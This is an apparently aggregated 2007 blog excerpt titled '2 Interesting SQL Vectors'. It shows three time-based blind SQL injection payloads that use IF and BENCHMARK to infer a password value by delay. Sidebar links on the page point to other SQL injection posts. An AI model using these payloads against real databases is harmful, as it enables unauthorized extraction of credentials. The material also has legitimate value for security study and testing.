RSS FullRecent Posts
- Michael Sharman - chapter31 » cfqueryparam does not work in ORDER …
- PHP-Fusion Mod triscoop_race_system (raceid) Remote SQL Injection …
- MySQL Dumper | Dropsec
- PHP Security: SQL Injection | Zend PHP 5 Certification Blog
- PHP Security: SQL Injection | Zend PHP 5 Certification Blog
Recent Comments
- luca on XSS in mysql_error()
- Jacob Tuscon on SQL Power Injector 1.2 released - TechRepublic
- MySQL Security » MySQL Security Update Fixes Restrictions Bypass and Library … on MySQL Security Update Fixes Restrictions Bypass and Library ...
2 Interesting SQL Vectors.
Published by Admin | Filed under modified, examples, benchmark, benchmarkmdxnull, ifpassword, select, injection
Like these examples I modified to work in a real SQL injection: SELECT IF(password > ‘1′, BENCHMARK(1000000,MD5(’x’)),null) FROM test SELECT IF(password > ‘09′, BENCHMARK(1000000,MD5(’x’)),null) FROM test SELECT IF(password > ‘09a’, …
Original post: 2 Interesting SQL Vectors.
benchmark benchmarkmdxnull examples ifpassword injection modified selectbenchmark, benchmarkmdxnull, examples, ifpassword, injection, modified, select
June 26th, 2007. Comment now »
